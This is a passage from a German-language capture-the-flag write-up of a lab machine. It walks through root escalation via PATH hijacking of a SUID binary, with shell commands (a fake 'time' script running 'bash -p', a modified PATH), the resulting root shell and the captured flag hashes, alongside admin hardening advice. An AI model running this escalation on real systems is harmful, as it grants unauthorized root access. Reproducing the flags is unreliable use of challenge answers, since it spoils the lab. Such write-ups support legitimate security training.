Empfehlung (Pentester): Dies ist eine klassische Path-Hijacking-Schwachstelle. Da das Programm `remove` mit Root-Rechten läuft (wegen SUID) und `time` ohne Pfadangabe aufruft, sucht es nach `time` in den Verzeichnissen, die in der `PATH`-Umgebungsvariable des aufrufenden Benutzers (`erik`) definiert sind. Wir können dies ausnutzen: 1. Erstelle ein eigenes Skript namens `time` in einem beschreibbaren Verzeichnis (z.B. `/tmp`). 2. In dieses Skript schreiben wir den Befehl, der als root ausgeführt werden soll (z.B. `/bin/bash -p`, um eine Root-Shell zu erhalten). 3. Mache das Skript ausführbar (`chmod +x /tmp/time`). 4. Füge das Verzeichnis `/tmp` am Anfang der `PATH`-Variable hinzu (`export PATH=/tmp:$PATH`). 5. Führe `/home/erik/backups/nuclear/remove` aus. Das Programm wird nun unser bösartiges `/tmp/time`-Skript anstelle des echten `/usr/bin/time` finden und mit Root-Rechten ausführen.
Empfehlung (Admin): Programme (insbesondere SUID-Programme) sollten externe Befehle immer mit ihrem vollständigen Pfad aufrufen (z.B. `/usr/bin/time` statt `time`), um Path-Hijacking zu verhindern. Die Berechtigungen von SUID-Dateien überprüfen und minimieren.

Proof of Concept (Privilege Escalation via SUID Path Hijacking)

Analyse: Die folgenden Schritte demonstrieren die Ausnutzung der SUID-Binary `/home/erik/backups/nuclear/remove`, die den Befehl `time` ohne vollständigen Pfad aufruft. Durch Manipulation der `PATH`-Umgebungsvariable wird ein bösartiges Skript anstelle des legitimen `time`-Befehls ausgeführt, was zur Eskalation auf Root-Rechte führt.

erik@government:~$ echo '/bin/bash -p' > /tmp/time
erik@government:~$ chmod +x /tmp/time
erik@government:~$ export PATH=/tmp:$PATH

Analyse: 1. `echo '/bin/bash -p' > /tmp/time`: Erstellt eine Datei namens `time` im Verzeichnis `/tmp`. Der Inhalt dieser Datei ist der String `/bin/bash -p`. Die Option `-p` sorgt dafür, dass Bash versucht, die effektive UID (in diesem Fall root, wegen SUID) beizubehalten und nicht zur realen UID (erik) zurückzufallen. 2. `chmod +x /tmp/time`: Macht die erstellte Datei ausführbar. 3. `export PATH=/tmp:$PATH`: Fügt das Verzeichnis `/tmp` an den Anfang der `PATH`-Umgebungsvariable hinzu. Wenn nun ein Befehl ohne Pfadangabe ausgeführt wird, sucht das System zuerst in `/tmp` nach der ausführbaren Datei.

Bewertung: Die Vorbereitung für den Path-Hijacking-Angriff ist abgeschlossen. Eine bösartige `time`-Datei existiert in `/tmp` und wird vom System vor der echten `/usr/bin/time` gefunden werden.

Empfehlung (Pentester): Der nächste Schritt ist die Ausführung der SUID-Datei `/home/erik/backups/nuclear/remove`. Sie wird versuchen, `time` auszuführen, findet unser Skript in `/tmp` und führt `/bin/bash -p` mit Root-Rechten aus.
Empfehlung (Admin): Siehe vorherige Empfehlung zum Aufruf externer Befehle mit vollem Pfad in (SUID-)Programmen.

erik@government:~$ ./remove anything_because_it_expects_an_argument
-su: ./remove: No such file or directory
erik@government:~$ cd /tmp

Analyse: Es wird versucht, das Programm `remove` aus dem aktuellen Verzeichnis (`erik`s Home) auszuführen. Dies schlägt fehl (`No such file or directory`), da sich das Programm nicht dort befindet. Der Pentester wechselt daraufhin ins `/tmp`-Verzeichnis.

Bewertung: Ein kleiner Navigationsfehler. Das Programm muss mit seinem vollständigen Pfad aufgerufen werden, oder man muss sich im richtigen Verzeichnis befinden.

Empfehlung (Pentester): In das richtige Verzeichnis wechseln (`cd /home/erik/backups/nuclear`) oder das Programm mit vollem Pfad aufrufen.
Empfehlung (Admin): Keine Aktion erforderlich.

erik@government:/tmp$ cd /home/erik/backups/nuclear
erik@government:~/backups/nuclear$ ./remove test
bash-4.4# id
uid=1000(erik) gid=1000(erik) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth),1000(erik)
bash-4.4#

Analyse: 1. Der Benutzer wechselt in das korrekte Verzeichnis `/home/erik/backups/nuclear`. 2. Das SUID-Programm `./remove` wird ausgeführt (mit einem beliebigen Argument "test", da `strings` andeutete, dass es ein Argument erwartet oder zumindest verarbeitet). 3. Da `/tmp` am Anfang des `PATH` steht, führt `./remove` unser Skript `/tmp/time` aus, welches `/bin/bash -p` startet. 4. Der Prompt ändert sich zu `bash-4.4#`, was oft ein Indikator für eine Root-Shell ist. 5. Der Befehl `id` bestätigt dies: Die effektive User ID (`euid`) und effektive Group ID (`egid`) sind 0, was `root` entspricht.

**Bewertung:** Grandios! Die Privilege Escalation war erfolgreich. Durch Ausnutzung der Path-Hijacking-Schwachstelle in der SUID-Binary `remove` wurde eine Shell mit Root-Rechten erlangt. Das Ziel ist vollständig kompromittiert.

Empfehlung (Pentester): Die Root-Shell nutzen, um die Root-Flagge auszulesen (`cat /root/root.txt`). Weitere Post-Exploitation-Aktivitäten durchführen (Persistenz, weitere Datensuche, etc.).
Empfehlung (Admin): Sofort die SUID-Berechtigung von `/home/erik/backups/nuclear/remove` entfernen (`chmod u-s`). Das Programm selbst korrigieren oder löschen. Das System auf weitere Kompromittierungen untersuchen und bereinigen.

bash-4.4# cd /root
bash-4.4# ls
root.txt
bash-4.4# cat root.txt
df2f7ef853a5b36c51509a6f6ae2e7b1
bash-4.4# cd /home/erik
bash-4.4# ls
backups  user.txt
bash-4.4# cat user.txt
349efd4b1ccbeb4d3ca0108fa5cc5802

Analyse: In der erhaltenen Root-Shell werden die Root-Flagge (`/root/root.txt`) und die User-Flagge (`/home/erik/user.txt`) ausgelesen.

Bewertung: Beide Flaggen wurden erfolgreich gefunden und bestätigt.

Empfehlung (Pentester): Flags notieren, Bericht abschließen.
Empfehlung (Admin): Nach der Bereinigung sicherstellen, dass Flags oder sensible Testdaten entfernt werden.

Flags

cat /home/erik/user.txt
349efd4b1ccbeb4d3ca0108fa5cc5802
cat /root/root.txt
df2f7ef853a5b36c51509a6f6ae2e7b1